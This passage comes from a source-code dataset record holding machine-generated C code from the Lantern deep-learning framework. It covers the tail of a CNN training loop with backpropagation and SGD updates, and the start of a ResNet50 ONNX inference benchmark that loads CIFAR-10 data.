-3.4028235E38f;\n\n}\nint* x434 = (int32_t*)myMalloc(x425 * sizeof(int32_t));;\nfor(int x435=0; x435 < 100; x435++) {\nint32_t x436 = x435 * x331;\nfloat* x437 = x400+x436;\nint32_t x438 = x435 * x424;\nfloat* x439 = x428+x438;\nint* x440 = x434+x438;\nint32_t x441 = 0;\nint32_t x442 = 0;\nfor(int x443=0; x443 < 20; x443++) {\nint32_t x444 = x441;\nint32_t x445 = x444;\nint32_t x446 = x442;\nint32_t x447 = x446;\nfor(int x449=0; x449 < x422; x449++) {\nint32_t x450 = x445;\nint32_t x451 = x450;\nint32_t x452 = x447;\nint32_t x453 = x452;\nfor(int x454=0; x454 < x422; x454++) {\nint32_t x455 = x453;\nint32_t x456 = x455;\nint32_t x457 = x456;\nint32_t x458 = x457;\nint32_t x459 = x458;\nfloat x460 = x437[x459];\nint32_t x461 = x451;\nfloat x462 = x439[x461];\nbool x463 = x460 > x462;\nif (x463) {\nfloat x464 = x437[x459];\nx439[x461] = x464;\nint32_t x466 = x459 + x436;\nx440[x461] = x466;\n} else {\n}\nx458 += 1;\nint32_t x471 = x458;\nfloat x472 = x437[x471];\nfloat x473 = x439[x461];\nbool x474 = x472 > x473;\nif (x474) {\nfloat x475 = x437[x471];\nx439[x461] = x475;\nint32_t x477 = x471 + x436;\nx440[x461] = x477;\n} else {\n}\nx458 += 1;\nx456 += x329;\nint32_t x483 = x456;\nint32_t x484 = x483;\nint32_t x485 = x484;\nfloat x486 = x437[x485];\nfloat x487 = x439[x461];\nbool x488 = x486 > x487;\nif (x488) {\nfloat x489 = x437[x485];\nx439[x461] = x489;\nint32_t x491 = x485 + x436;\nx440[x461] = x491;\n} else {\n}\nx484 += 1;\nint32_t x496 = x484;\nfloat x497 = x437[x496];\nfloat x498 = x439[x461];\nbool x499 = x497 > x498;\nif (x499) {\nfloat x500 = x437[x496];\nx439[x461] = x500;\nint32_t x502 = x496 + x436;\nx440[x461] = x502;\n} else {\n}\nx484 += 1;\nx456 += x329;\nx451 += 1;\nx453 += 2;\n\n}\nx445 += x422;\nx447 += x513;\n\n}\nx441 += x423;\nx442 += x330;\n\n}\n\n}\nfloat* x523 = (float*)myMalloc(x427 * sizeof(float));;\nint32_t x524 = 0;\nint32_t x525 = 1;\nx524 += 1;\nx525 *= 320;\nint32_t x528 = x524;\nbool x529 = x528 >= 2;\nif (x529) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x535 = x528 == 0;\nif (x535) {\nint32_t x536 = x525;\nbool x537 = x536 == x425;\nif (x537) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x544 = x525;\nint32_t x545 = x425 / x544;\nint32_t x547 = x545 * 50;\nfloat* x548 = (float*)myMalloc(x547 * sizeof(float));;\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasNoTrans, x545,50,320,1,x428,320,x30,50,0,x548,50);\nfloat* x550 = (float*)myMalloc(x547 * sizeof(float));;\nbool x554 = x545 == 1;\nint32_t x555;\nif (x554) {\nx555 = 0;\n} else {\nx555 = 50;\n}\nfor(int x557=0; x557 < x545; x557++) {\nint32_t x560 = x555 * x557;\nfor(int x559=0; x559 < 50; x559++) {\nint32_t x561 = x560 + x559;\nfloat x562 = x548[x561];\nfloat x563 = x40[x559];\nfloat x564 = x562 + x563;\nx548[x561] = x564;\n\n}\n\n}\nfloat* x570 = (float*)myMalloc(x547 * sizeof(float));;\nfloat* x571 = (float*)myMalloc(x547 * sizeof(float));;\nfor(int x573=0; x573 < x547; x573++) {\nfloat x574 = (float)rand()/RAND_MAX;\nbool x575 = x574 > 0.5f;\nif (x575) {\nfloat x576 = x548[x573];\nfloat x577 = x576 * 2.0f;\nx570[x573] = x577;\nx571[x573] = 2.0f;\n} else {\nx570[x573] = 0.0f;\nx571[x573] = 0.0f;\n}\n\n}\nfloat* x587 = (float*)myMalloc(x547 * sizeof(float));;\nint32_t x588 = x545 * 10;\nfloat* x589 = (float*)myMalloc(x588 * sizeof(float));;\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasNoTrans, x545,10,50,1,x570,50,x42,10,0,x589,10);\nfloat* x591 = (float*)myMalloc(x588 * sizeof(float));;\nint32_t x592;\nif (x554) {\nx592 = 0;\n} else {\nx592 = 10;\n}\nfor(int x593=0; x593 < x545; x593++) {\nint32_t x595 = x592 * x593;\nfor(int x594=0; x594 < 10; x594++) {\nint32_t x596 = x595 + x594;\nfloat x597 = x589[x596];\nfloat x598 = x52[x594];\nfloat x599 = x597 + x598;\nx589[x596] = x599;\n\n}\n\n}\nfloat* x605 = (float*)myMalloc(x545 * sizeof(float));;\nint32_t x606 = 0;\nfor(int x607=0; x607 < x545; x607++) {\nfloat x608 = -3.4028235E38f;\nfor(int x609=0; x609 < 10; x609++) {\nint32_t x610 = x606;\nfloat x611 = x589[x610];\nfloat x612 = x608;\nbool x613 = x611 > x612;\nif (x613) {\nfloat x614 = x589[x610];\nx608 = x614;\n} else {\n}\nx606 += 1;\n\n}\nfloat x621 = x608;\nx605[x607] = x621;\n\n}\nfloat* x625 = (float*)myMalloc(x588 * sizeof(float));;\nint32_t x626 = 0;\nfor(int x627=0; x627 < x545; x627++) {\nfor(int x628=0; x628 < 10; x628++) {\nint32_t x629 = x626;\nfloat x630 = x589[x629];\nfloat x631 = x605[x627];\nfloat x632 = x630 - x631;\ndouble x633 = (double)x632;\ndouble x634 = exp(x633);\nfloat x635 = (float)x634;\nx625[x629] = x635;\nx626 += 1;\n\n}\n\n}\nfloat* x642 = (float*)myMalloc(x545 * sizeof(float));;\nfor(int x643=0; x643 < x545; x643++) {\nint32_t x644 = x643;\nint32_t x645 = x643 * 10;\nint32_t x646 = x645;\nfor(int x647=0; x647 < 10; x647++) {\nfor(int x649=0; x649 < 1; x649++) {\nint32_t x650 = x644;\nint32_t x651 = x650 + x649;\nfloat x652 = x642[x651];\nint32_t x653 = x646;\nint32_t x654 = x653 + x649;\nfloat x655 = x625[x654];\nfloat x656 = x652 + x655;\nx642[x651] = x656;\n\n}\nx646 += 1;\n\n}\n\n}\nx626 = 0;\nfor(int x666=0; x666 < x545; x666++) {\nfloat x667 = x605[x666];\nfloat x668 = x642[x666];\ndouble x669 = (double)x668;\ndouble x670 = log(x669);\nfloat x671 = (float)x670;\nfloat x672 = x667 + x671;\nfor(int x673=0; x673 < 10; x673++) {\nint32_t x674 = x626;\nfloat x675 = x589[x674];\nfloat x676 = x675 - x672;\nx625[x674] = x676;\nx626 += 1;\n\n}\n\n}\nfloat* x683 = (float*)myMalloc(x588 * sizeof(float));;\n// nllLoss forward in CPU\nfloat* x685 = (float*)myMalloc(x545 * sizeof(float));;\nint32_t x686 = 0;\nint32_t x121 = x118 * 100;\nint* x122 = x63+x121;\nfor(int x687=0; x687 < x545; x687++) {\nint32_t x688 = x686;\nint32_t x689 = x122[x687];\nint32_t x690 = x688 + x689;\nfloat x691 = x625[x690];\nfloat x692 = -1.0f * x691;\nx685[x687] = x692;\nx686 += 10;\n\n}\nfloat* x697 = (float*)myMalloc(x545 * sizeof(float));;\nfloat x698 = 0.0f;\nfor(int x699=0; x699 < x545; x699++) {\nfloat x700 = x698;\nfloat x701 = x685[x699];\nfloat x702 = x700 + x701;\nx698 = x702;\n\n}\nfloat x706 = x698;\nfloat* x707 = (float*)myMalloc(1 * sizeof(float));;\nfor(int x708=0; x708 < 1; x708++) {\nx707[x708] = x706;\n\n}\nfloat* x712 = (float*)myMalloc(1 * sizeof(float));;\n// make sure the size of loss is 1\nfor(int x714=0; x714 < 1; x714++) {\nx712[x714] = 1.0f;\n\n}\n// backend is lantern.TensorDslCPU$BackendCPU@51b405f8\nfor(int x719=0; x719 < 1; x719++) {\nfloat x720 = x707[x719];\nx128[x719] = x720;\n\n}\n// 'sum' gradient.\nbool x725 = x554 || true;\nbool x726 = x725 || x554;\nif (x726) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d, with %d,\\n\",x545,1);\nassert(false && \"\");\n}\nbool x732 = x545 <= 1;\nint32_t x733;\nif (x732) {\nx733 = 1;\n} else {\nx733 = x545;\n}\nint32_t x738;\nif (x554) {\nx738 = 0;\n} else {\nx738 = 1;\n}\nfor(int x740=0; x740 < x733; x740++) {\nint32_t x741 = x738 * x740;\nfloat x742 = x697[x741];\nfloat x743 = x712[0];\nfloat x744 = x742 + x743;\nx697[x741] = x744;\n\n}\n// 'nllLossB' gradient.\n// nllLoss_grad implementation in CPU\nint32_t x750 = 0;\nfor(int x751=0; x751 < x545; x751++) {\nint32_t x752 = x750;\nint32_t x753 = x122[x751];\nint32_t x754 = x752 + x753;\nfloat x755 = x683[x754];\nfloat x756 = x697[x751];\nfloat x757 = -1.0f * x756;\nfloat x758 = x755 + x757;\nx683[x754] = x758;\nx750 += 10;\n\n}\nfloat* x763 = (float*)myMalloc(x545 * sizeof(float));;\nfor(int x764=0; x764 < x545; x764++) {\nint32_t x765 = x764;\nint32_t x766 = x764 * 10;\nint32_t x767 = x766;\nfor(int x768=0; x768 < 10; x768++) {\nfor(int x769=0; x769 < 1; x769++) {\nint32_t x770 = x765;\nint32_t x771 = x770 + x769;\nfloat x772 = x763[x771];\nint32_t x773 = x767;\nint32_t x774 = x773 + x769;\nfloat x775 = x683[x774];\nfloat x776 = x772 + x775;\nx763[x771] = x776;\n\n}\nx767 += 1;\n\n}\n\n}\nint32_t x785 = 0;\nfor(int x786=0; x786 < x545; x786++) {\nfor(int x787=0; x787 < 10; x787++) {\nint32_t x788 = x785;\nfloat x789 = x591[x788];\nfloat x790 = x683[x788];\nfloat x791 = x625[x788];\nfloat x795 = x763[x786];\ndouble x792 = (double)x791;\ndouble x793 = exp(x792);\nfloat x794 = (float)x793;\nfloat x796 = x794 * x795;\nfloat x797 = x790 - x796;\nfloat x798 = x789 + x797;\nx591[x788] = x798;\nx785 += 1;\n\n}\n\n}\nfor(int x805=0; x805 < x545; x805++) {\nint32_t x807 = x592 * x805;\nfor(int x806=0; x806 < 10; x806++) {\nfloat x809 = x53[x806];\nint32_t x808 = x807 + x806;\nfloat x810 = x591[x808];\nfloat x811 = x809 + x810;\nx53[x806] = x811;\n\n}\n\n}\n// backprop of matrix-matrix-dot\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasTrans, x545,50,10,1,x591,10,x42,10,1,x587,50);\ncblas_sgemm(CblasRowMajor, CblasTrans, CblasNoTrans, 50,10,x545,1,x570,50,x591,10,1,x51,10);\nbool x820 = x554 || x554;\nbool x821 = x820 || true;\nbool x822;\nif (x821) {\nx822 = true;\n} else {\nx822 = false;\n}\nif (x822) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d, with %d,%d,\\n\",x545,50,x545,50);\nassert(false && \"\");\n}\nfloat* x828 = (float*)myMalloc(x547 * sizeof(float));;\nfor(int x829=0; x829 < x545; x829++) {\nint32_t x833 = x555 * x829;\nint32_t x831 = 50 * x829;\nfor(int x830=0; x830 < 50; x830++) {\nint32_t x834 = x833 + x830;\nfloat x835 = x571[x834];\nfloat x836 = x587[x834];\nint32_t x832 = x830 + x831;\nfloat x837 = x835 * x836;\nx828[x832] = x837;\n\n}\n\n}\nif (x822) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d, with %d,%d,\\n\",x545,50,x545,50);\nassert(false && \"\");\n}\nfor(int x847=0; x847 < x545; x847++) {\nint32_t x849 = x555 * x847;\nfor(int x848=0; x848 < 50; x848++) {\nint32_t x850 = x849 + x848;\nfloat x851 = x550[x850];\nfloat x852 = x828[x850];\nfloat x853 = x851 + x852;\nx550[x850] = x853;\n\n}\n\n}\nfor(int x859=0; x859 < x545; x859++) {\nint32_t x861 = x555 * x859;\nfor(int x860=0; x860 < 50; x860++) {\nfloat x863 = x41[x860];\nint32_t x862 = x861 + x860;\nfloat x864 = x550[x862];\nfloat x865 = x863 + x864;\nx41[x860] = x865;\n\n}\n\n}\n// backprop of matrix-matrix-dot\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasTrans, x545,320,50,1,x550,50,x30,50,1,x523,320);\ncblas_sgemm(CblasRowMajor, CblasTrans, CblasNoTrans, 320,50,x545,1,x428,320,x550,50,1,x39,50);\nfor(int x875=0; x875 < x425; x875++) {\nint32_t x876 = x434[x875];\nfloat x877 = x413[x876];\nfloat x878 = x523[x875];\nfloat x879 = x877 + x878;\nx413[x876] = x879;\n\n}\nfor(int x883=0; x883 < x332; x883++) {\nfloat x884 = x399[x883];\nfloat x885 = x335[x883];\nbool x886 = x885 < 0.0f;\nfloat x889;\nif (x886) {\nx889 = 0.0f;\n} else {\nfloat x887 = x413[x883];\nx889 = x887;\n}\nfloat x890 = x884 + x889;\nx399[x883] = x890;\n\n}\n// conv2D back-propagate\nfloat* x895 = (float*)myMalloc(x354 * sizeof(float));;\nfor(int x896=0; x896 < 100; x896++) {\nint32_t x897 = x896 * x227;\nfloat* x898 = x326+x897;\nint32_t x899 = x896 * x331;\nfloat* x900 = x399+x899;\nint32_t x901 = x896 * x352;\nfloat* x902 = x895+x901;\ncblas_sgemm(CblasRowMajor, CblasTrans, CblasNoTrans, 250,x330,20,1,x18,250,x900,x330,0,x902,x330);\nfor(int x904=0; x904 < 10; x904++) {\nint32_t x908 = x904 * 5;\nint32_t x909 = x908 * 5;\nint32_t x910 = x909 * x329;\nint32_t x911 = x910 * x329;\nint32_t x920 = x904 * x225;\nint32_t x921 = x920 * x225;\nfor(int x906=0; x906 < 5; x906++) {\nint32_t x912 = x906 * 5;\nint32_t x913 = x912 * x329;\nint32_t x914 = x913 * x329;\nint32_t x915 = x911 + x914;\nfor(int x907=0; x907 < 5; x907++) {\nint32_t x916 = x907 * x329;\nint32_t x917 = x916 * x329;\nint32_t x918 = x915 + x917;\nfloat* x919 = x902+x918;\nfloat* x922 = x898+x921;\nfor(int x923=0; x923 < x329; x923++) {\nint32_t x924 = x923 + x906;\nint32_t x925 = x924 * x225;\nint32_t x926 = x925 + x907;\nfloat* x927 = x922+x926;\nint32_t x928 = x923 * x329;\nfloat* x929 = x919+x928;\nfor(int x930=0; x930 < x329; x930++) {\nfloat x931 = x927[x930];\nfloat x932 = x929[x930];\nfloat x933 = x931 + x932;\nx927[x930] = x933;\n\n}\n\n}\n\n}\n\n}\n\n}\n\n}\nfor(int x947=0; x947 < 100; x947++) {\nint32_t x948 = x947 * x331;\nfloat* x949 = x399+x948;\nint32_t x950 = x947 * x352;\nfloat* x951 = x355+x950;\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasTrans, 20,250,x330,1.0,x949,x330,x951,x330,1,x27,250);\nfor(int x953=0; x953 < 20; x953++) {\nfloat x954 = 0.0f;\nint32_t x955 = x953 * x329;\nint32_t x956 = x955 * x329;\nfloat* x957 = x949+x956;\nfor(int x958=0; x958 < x330; x958++) {\nfloat x959 = x957[x958];\nx954 += x959;\n\n}\nfloat x963 = x29[x953];\nfloat x964 = x954;\nfloat x965 = 1.0f * x964;\nfloat x966 = x963 + x965;\nx29[x953] = x966;\n\n}\n\n}\nfor(int x973=0; x973 < x228; x973++) {\nint32_t x974 = x237[x973];\nfloat x975 = x216[x974];\nfloat x976 = x326[x973];\nfloat x977 = x975 + x976;\nx216[x974] = x977;\n\n}\nfor(int x981=0; x981 < x133; x981++) {\nfloat x982 = x202[x981];\nfloat x983 = x136[x981];\nbool x984 = x983 < 0.0f;\nfloat x987;\nif (x984) {\nx987 = 0.0f;\n} else {\nfloat x985 = x216[x981];\nx987 = x985;\n}\nfloat x988 = x982 + x987;\nx202[x981] = x988;\n\n}\n// conv2D back-propagate\nfloat* x993 = (float*)myMalloc(x156 * sizeof(float));;\nfor(int x994=0; x994 < 100; x994++) {\nint32_t x995 = x994 * x132;\nfloat* x996 = x202+x995;\nint32_t x997 = x994 * x154;\nfloat* x998 = x157+x997;\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasTrans, 10,25,x131,1.0,x996,x131,x998,x131,1,x15,25);\nfor(int x1000=0; x1000 < 10; x1000++) {\nfloat x1001 = 0.0f;\nint32_t x1002 = x1000 * x130;\nint32_t x1003 = x1002 * x130;\nfloat* x1004 = x996+x1003;\nfor(int x1005=0; x1005 < x131; x1005++) {\nfloat x1006 = x1004[x1005];\nx1001 += x1006;\n\n}\nfloat x1010 = x17[x1000];\nfloat x1011 = x1001;\nfloat x1012 = 1.0f * x1011;\nfloat x1013 = x1010 + x1012;\nx17[x1000] = x1013;\n\n}\n\n}\nfloat x1019 = x128[0];\nx109 += x1019;\nfor(int x1021=0; x1021 < 20; x1021++) {\nfloat x1022 = x28[x1021];\nfloat x1024 = x29[x1021];\nfloat x1023 = x1022 * 1.0f;\nfloat x1025 = x1024 * -5.0E-4f;\nfloat x1026 = x1023 + x1025;\nx28[x1021] = x1026;\n\n}\nfor(int x1030=0; x1030 < 20; x1030++) {\nx29[x1030] = 0.0f;\n\n}\nfor(int x1034=0; x1034 < 5000; x1034++) {\nfloat x1035 = x18[x1034];\nfloat x1037 = x27[x1034];\nfloat x1036 = x1035 * 1.0f;\nfloat x1038 = x1037 * -5.0E-4f;\nfloat x1039 = x1036 + x1038;\nx18[x1034] = x1039;\n\n}\nfor(int x1043=0; x1043 < 5000; x1043++) {\nx27[x1043] = 0.0f;\n\n}\nfor(int x1047=0; x1047 < 16000; x1047++) {\nfloat x1048 = x30[x1047];\nfloat x1050 = x39[x1047];\nfloat x1049 = x1048 * 1.0f;\nfloat x1051 = x1050 * -5.0E-4f;\nfloat x1052 = x1049 + x1051;\nx30[x1047] = x1052;\n\n}\nfor(int x1056=0; x1056 < 16000; x1056++) {\nx39[x1056] = 0.0f;\n\n}\nfor(int x1060=0; x1060 < 50; x1060++) {\nfloat x1061 = x40[x1060];\nfloat x1063 = x41[x1060];\nfloat x1062 = x1061 * 1.0f;\nfloat x1064 = x1063 * -5.0E-4f;\nfloat x1065 = x1062 + x1064;\nx40[x1060] = x1065;\n\n}\nfor(int x1069=0; x1069 < 50; x1069++) {\nx41[x1069] = 0.0f;\n\n}\nfor(int x1073=0; x1073 < 10; x1073++) {\nfloat x1074 = x16[x1073];\nfloat x1076 = x17[x1073];\nfloat x1075 = x1074 * 1.0f;\nfloat x1077 = x1076 * -5.0E-4f;\nfloat x1078 = x1075 + x1077;\nx16[x1073] = x1078;\n\n}\nfor(int x1082=0; x1082 < 10; x1082++) {\nx17[x1082] = 0.0f;\n\n}\nfor(int x1086=0; x1086 < 250; x1086++) {\nfloat x1087 = x6[x1086];\nfloat x1089 = x15[x1086];\nfloat x1088 = x1087 * 1.0f;\nfloat x1090 = x1089 * -5.0E-4f;\nfloat x1091 = x1088 + x1090;\nx6[x1086] = x1091;\n\n}\nfor(int x1095=0; x1095 < 250; x1095++) {\nx15[x1095] = 0.0f;\n\n}\nfor(int x1099=0; x1099 < 10; x1099++) {\nfloat x1100 = x52[x1099];\nfloat x1102 = x53[x1099];\nfloat x1101 = x1100 * 1.0f;\nfloat x1103 = x1102 * -5.0E-4f;\nfloat x1104 = x1101 + x1103;\nx52[x1099] = x1104;\n\n}\nfor(int x1108=0; x1108 < 10; x1108++) {\nx53[x1108] = 0.0f;\n\n}\nfor(int x1112=0; x1112 < 500; x1112++) {\nfloat x1113 = x42[x1112];\nfloat x1115 = x51[x1112];\nfloat x1114 = x1113 * 1.0f;\nfloat x1116 = x1115 * -5.0E-4f;\nfloat x1117 = x1114 + x1116;\nx42[x1112] = x1117;\n\n}\nfor(int x1121=0; x1121 < 500; x1121++) {\nx51[x1121] = 0.0f;\n\n}\nint32_t x1125 = x106;\nint32_t x1127 = x1125 % x1126;\nbool x1128 = x1127 == 0;\nif (x1128) {\nfloat x1133 = x109;\ndouble x1129 = (double)x1125;\ndouble x1130 = 100.0 * x1129;\ndouble x1132 = x1130 / x1131;\nfloat x1134 = (float)x1125;\nfloat x1135 = x1133 / x1134;\nprintf(\"Train epoch %d: [%d/%d (%.0f%%)]\\tAverage Loss: %.6f\\n\",x102,x1125,x65,x1132,x1135);\nfflush(stdout);\n} else {\n}\nint64_t x1140 = (long)mallocAddr;\nint64_t x1141 = x1140 - x99;\nmemset((void*)x99, 0, x1141);\nmallocAddr = (void*)x99;\nx115 += 78400;\n\n}\ngettimeofday(&end_1, NULL);\ntimeval_subtract(&diff_1, &end_1, &begin_1);;\nint64_t x1149 = ((diff_1.tv_sec * 1000000L) + (diff_1.tv_usec));\nint64_t x1150 = x1149 / 1000LL;\nint64_t x1152 = x1149 / x1151;\nprintf(\"Training completed in %ldms (%ld us/images)\\n\",x1150,x1152);\nfloat x1154 = x109;\nfloat x1156 = x1154 / x1155;\ndouble x1157 = (double)x1156;\nx98[x102] = x1157;\n\n}\ngettimeofday(&end_0, NULL);\ntimeval_subtract(&diff_0, &end_0, &begin_0);;\nint64_t x1163 = ((diff_0.tv_sec * 1000000L) + (diff_0.tv_usec));\nint64_t x1168 = (long)fopen(x0, \"w\");\nfprintf((FILE *)x1168, \"unit: %s\\n\", \"1 epoch\");\nfor(int x1170=0; x1170 < 4; x1170++) {\ndouble x1171 = x98[x1170];\nfprintf((FILE *)x1168, \"%lf\\n\", x1171);\n\n}\nfloat x1164 = (float)x1163;\nfloat x1165 = x1164 / 1000000.0f;\nfloat x1166 = x1165 - x96;\nfloat x1167 = x1166 / 4.0f;\nfprintf((FILE *)x1168, \"run time: %lf %lf\\n\", x96, x1167);\nfclose((FILE*)x1168);\n// Backend cleanup.\n}\n/*****************************************\n End of C Generated Code \n*******************************************/\n\n" }, { "alpha_fraction": 0.27109742164611816, "alphanum_fraction": 0.6486413478851318, "avg_line_length": 19.47849464416504, "blob_id": "97ba3b21f875ffa77f1b578ea2099dbded87fb9b", "content_id": "244eb33217e8c2ccf79fa87a32ec0eddae816729", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 693710, "license_type": "permissive", "max_line_length": 134, "num_lines": 33875, "path": "/src/out/PLDI19evaluation/resnet50/lantern/LanternOnnxInference.cpp", "repo_name": "supunab/Lantern", "src_encoding": "UTF-8", "text": "#include <assert.h>\n#include <err.h>\n#include <errno.h>\n#include <fcntl.h>\n#include <functional>\n#include <math.h>\n#include <memory>\n#include <random>\n#include <stdint.h>\n#include <stdio.h>\n#include <sys/mman.h>\n#include <sys/stat.h>\n#include <sys/time.h>\n#include <time.h>\n#include <unistd.h>\n#include <cblas.h>\n#include <algorithm>\n#include <numeric>\n\nusing namespace std;\n#ifndef MAP_FILE\n#define MAP_FILE MAP_SHARED\n#endif\n\nlong fsize(int fd) {\n struct stat stat;\n int res = fstat(fd, &stat);\n return stat.st_size;\n}\n\nint printll(char *s) {\n while (*s != '\\n' && *s != ',' && *s != '\\t') {\n putchar(*s++);\n }\n return 0;\n}\n\nlong hash(char *str0, int len) {\n unsigned char *str = (unsigned char *)str0;\n unsigned long hash = 5381;\n int c;\n\n while ((c = *str++) && len--)\n hash = ((hash << 5) + hash) + c; /* hash * 33 + c */\n\n return hash;\n}\n\nlong HEAP_SIZE_CPU = 1073741826; // 1048576; // 536870912; // 268435456; // 2097152; 1610612739; // 4294967304; //\nvoid *mallocBase = calloc(HEAP_SIZE_CPU, 1);\nvoid *mallocAddr = mallocBase;\nvoid *waterMark = mallocBase;\nvoid *myMalloc(size_t bytes) {\n void *res = mallocAddr;\n mallocAddr = (void *)((char *)mallocAddr + bytes);\n if ((long)mallocAddr >= (long)mallocBase + HEAP_SIZE_CPU)\n fprintf(stderr, \"CPU memory breached limit of HEAP_SIZE_CPU\\n\");\n return res;\n}\n\nlong HEAP_SIZE = 8589934608; // 4294967304; // this is for GPU\n\nint timeval_subtract(struct timeval *result, struct timeval *t2, struct timeval *t1) {\n long int diff = (t2->tv_usec + 1000000 * t2->tv_sec) - (t1->tv_usec + 1000000 * t1->tv_sec);\n result->tv_sec = diff / 1000000;\n result->tv_usec = diff % 1000000;\n return (diff < 0);\n}\n\n\n\nvoid Snippet(char *);\n\nstd::random_device rd{};\nstd::mt19937 gen{rd()};\nstd::normal_distribution<> d{0, 0.01};\n\nint main(int argc, char *argv[]) {\n if (argc != 2) {\n printf(\"usage: query <filename>\\n\");\n return 0;\n }\n Snippet(argv[1]);\n return 0;\n}\n\n/*****************************************\n Emitting C Generated Code \n*******************************************/\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <stdbool.h>\nvoid Snippet(char* x0) {\n// Backend setup.\nint32_t x273 = open(\"../../cifar10_data/cifar-10-batches-bin/data_batch_1.bin\",0);\nint64_t x274 = fsize(x273);\nint64_t x276 = x274 / 3073LL;\nint32_t x277 = (int32_t)x276;\nint32_t x278 = x277 * 3072;\nfloat* x279 = (float*)myMalloc(x278 * sizeof(float));;\nint* x280 = (int32_t*)myMalloc(x277 * sizeof(int32_t));;\nchar* x275 = (char*)mmap(0, x274, PROT_READ | PROT_WRITE, MAP_FILE | MAP_PRIVATE, x273, 0);\nfor(int x282=0; x282 < x277; x282++) {\nint32_t x283 = x282 * 3073;\nchar x284 = x275[x283];\nint32_t x285 = (int32_t)(unsigned char)x284;\nx280[x282] = x285;\nint32_t x291 = x283 + 1;\nint32_t x289 = x282 * 3072;\nfor(int x288=0; x288 < 3072; x288++) {\nint32_t x292 = x291 + x288;\nchar x293 = x275[x292];\nint32_t x290 = x289 + x288;\nfloat x294 = (float)(unsigned char)x293;\nfloat x295 = x294 / 255.0f;\nx279[x290] = x295;\n\n}\n\n}\nint32_t x301 = x277 / 64;\nint32_t x332 = 31 / 1;\nint32_t x333 = x332 + 1;\nint32_t x337 = 4096 * x333;\nint32_t x338 = x337 * x333;\nint32_t x334 = x333 * x333;\nint32_t x342 = 1728 * x334;\nint32_t x335 = 64 * x334;\nint32_t x340 = 27 * x334;\nint32_t x3 = open(\"/home/fei/bitbucket/Lantern/src/out/PLDI19evaluation/resnet50/resnet50.onnx.bin\",0);\nint64_t x4 = fsize(x3);\nfloat* x5 = (float*)mmap(0, x4, PROT_READ | PROT_WRITE, MAP_FILE | MAP_PRIVATE, x3, 0);\nfloat* x152 = x5+0;\nbool x459 = x333 == 1;\nbool x460 = x459 || true;\nbool x461 = x460 || x459;\nbool x454 = true || false;\nbool x471 = x333 <= 1;\nint32_t x472;\nif (x471) {\nx472 = 1;\n} else {\nx472 = x333;\n}\nint32_t x478 = x472 * x472;\nint32_t x482;\nif (x459) {\nx482 = 0;\n} else {\nx482 = x333;\n}\nint32_t x483;\nif (x459) {\nx483 = 0;\n} else {\nx483 = 1;\n}\nfloat* x40 = x5+1856;\nfloat* x110 = x5+1920;\nbool x562 = x472 == 1;\nbool x563 = x562 || true;\nbool x564 = x563 || x562;\nbool x574 = x472 <= 1;\nint32_t x575;\nif (x574) {\nx575 = 1;\n} else {\nx575 = x472;\n}\nint32_t x581 = x575 * x575;\nint32_t x586;\nif (x562) {\nx586 = 0;\n} else {\nx586 = x472;\n}\nint32_t x587;\nif (x562) {\nx587 = 0;\n} else {\nx587 = 1;\n}\nbool x650 = x575 == 1;\nbool x651 = x650 || true;\nbool x652 = x651 || x650;\nbool x662 = x575 <= 1;\nint32_t x663;\nif (x662) {\nx663 = 1;\n} else {\nx663 = x575;\n}\nint32_t x669 = x663 * x663;\nint32_t x674;\nif (x650) {\nx674 = 0;\n} else {\nx674 = x575;\n}\nint32_t x675;\nif (x650) {\nx675 = 0;\n} else {\nx675 = 1;\n}\nfloat* x206 = x5+1728;\nbool x738 = x663 == 1;\nbool x739 = x738 || true;\nbool x740 = x739 || x738;\nbool x750 = x663 <= 1;\nint32_t x751;\nif (x750) {\nx751 = 1;\n} else {\nx751 = x663;\n}\nint32_t x757 = x751 * x751;\nint32_t x762;\nif (x738) {\nx762 = 0;\n} else {\nx762 = x663;\n}\nint32_t x763;\nif (x738) {\nx763 = 0;\n} else {\nx763 = 1;\n}\nfloat* x251 = x5+1792;\nbool x810 = x751 >= 2;\nbool x811;\nif (x810) {\nx811 = x810;\n} else {\nx811 = false;\n}\nint32_t x816 = x751 - 2;\nint32_t x817 = x816 / 2;\nint32_t x818 = x817 + 1;\nint32_t x819 = x818 * x818;\nint32_t x910 = 2 * x751;\nint32_t x920 = x817 / 1;\nint32_t x921 = x920 + 1;\nint32_t x925 = 4096 * x921;\nint32_t x926 = x925 * x921;\nint32_t x922 = x921 * x921;\nint32_t x923 = 64 * x922;\nfloat* x233 = x5+1984;\nbool x999 = x921 == 1;\nbool x1000 = x999 || true;\nbool x1001 = x1000 || x999;\nbool x1011 = x921 <= 1;\nint32_t x1012;\nif (x1011) {\nx1012 = 1;\n} else {\nx1012 = x921;\n}\nint32_t x1018 = x1012 * x1012;\nint32_t x1022;\nif (x999) {\nx1022 = 0;\n} else {\nx1022 = x921;\n}\nint32_t x1023;\nif (x999) {\nx1023 = 0;\n} else {\nx1023 = 1;\n}\nfloat* x114 = x5+6208;\nfloat* x51 = x5+6272;\nbool x1102 = x1012 == 1;\nbool x1103 = x1102 || true;\nbool x1104 = x1103 || x1102;\nbool x1114 = x1012 <= 1;\nint32_t x1115;\nif (x1114) {\nx1115 = 1;\n} else {\nx1115 = x1012;\n}\nint32_t x1121 = x1115 * x1115;\nint32_t x1126;\nif (x1102) {\nx1126 = 0;\n} else {\nx1126 = x1012;\n}\nint32_t x1127;\nif (x1102) {\nx1127 = 0;\n} else {\nx1127 = 1;\n}\nbool x1190 = x1115 == 1;\nbool x1191 = x1190 || true;\nbool x1192 = x1191 || x1190;\nbool x1202 = x1115 <= 1;\nint32_t x1203;\nif (x1202) {\nx1203 = 1;\n} else {\nx1203 = x1115;\n}\nint32_t x1209 = x1203 * x1203;\nint32_t x1214;\nif (x1190) {\nx1214 = 0;\n} else {\nx1214 = 